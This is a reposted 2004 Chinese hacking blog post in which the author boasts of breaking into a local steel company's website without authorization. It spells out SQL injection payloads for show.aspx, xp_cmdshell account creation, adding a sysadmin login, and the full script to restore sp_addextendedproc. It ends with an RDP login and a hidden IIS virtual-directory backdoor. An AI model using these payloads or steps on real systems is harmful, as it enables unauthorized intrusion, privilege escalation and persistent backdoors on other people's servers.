首页 电脑 电脑学堂 查看内容

注射MSSQL时恢复sp_addextendedproc

2004-11-11 04:18 652 0

摘要: 作者:小泥巴    来自:第八军团 今天没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.当然 这是意料中的事.最近搞大家都喜欢搞脚本.那我也就从他们的网站程序看看了.show.asp...
关键词: addextendedproc 过程 show aspx 帐号 嘿嘿 dllname sp master 查询器

作者:小泥巴    来自:第八军团 今天没事做,对本地的一家钢铁企业的网站做了次安检,嘿嘿.漏洞一大把.当然 这是意料中的事.最近搞大家都喜欢搞脚本.那我也就从他们的网站程序看看了.show.aspx?id=1'嘿嘿 asp.net 照样暴 说什么有未闭合的分号.show.aspx?id=1 and (select @@version)>0;--果然,2003的系统show.aspx?id=1 and 'sa'=(select System_user)--嘿嘿 正确返回 有权限了 想到直接用xp_cmeshell直接添加帐号因为之前已经知道这服务器开了3389的所以 我们继续来:show.aspx?id=1;exec master.dbo.xp_cmdshell "net user haco lovehaco /add"--我倒,返回结果错误了 看来管理员还不是很可爱噢那我们来恢复这个存储过程?OK 继续show.aspx?id=1;exec master.dbo.sp_addextendedpro xp_cmdshell,@dllname='xplog70.dll'--回车后......狂晕死.居然说什么过程sp_addextendedproc没找着 开始我以为是删除了xplog70.dll 可是后来不这样这样认为了 记得以前也碰到过这样的事 可是都没能解决 这次一定要搞定 嘿嘿!之后 到处问人这里要感谢一下BST论坛里的tob88 谢谢 是他提醒了我不就是过程SP_ADDextendedproc被删除了嘛 我们恢复它就是了嘛!为了方便 我添加了个sysadmin的帐号show.aspx?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--show.aspx?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;-- HOHO~ 搞定 俺自己装了MSSQL 企业管理器里连上这台服务器的SQL调出查询器 恢复过程sp_addextendedproc 如下:create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO 哈哈 试下 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'哇!命令成功完成 耶!添加帐号 登陆3389 留个我最喜欢的绝对后门IIS隐藏虚拟目录 搞定 闪人...... PS:其实像sp_addextendedproc这些过程也都可以删除掉 就不能添加了当然 也可以恢复的 这个恢复的语句 是从MSSQL数据库里得到的 有兴趣的朋友可以自己试试看 呵呵 这是我小泥巴第一次写东西 很稀烂的 大家看看就算了 别笑噢 要不 我会5555哭的噢!  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部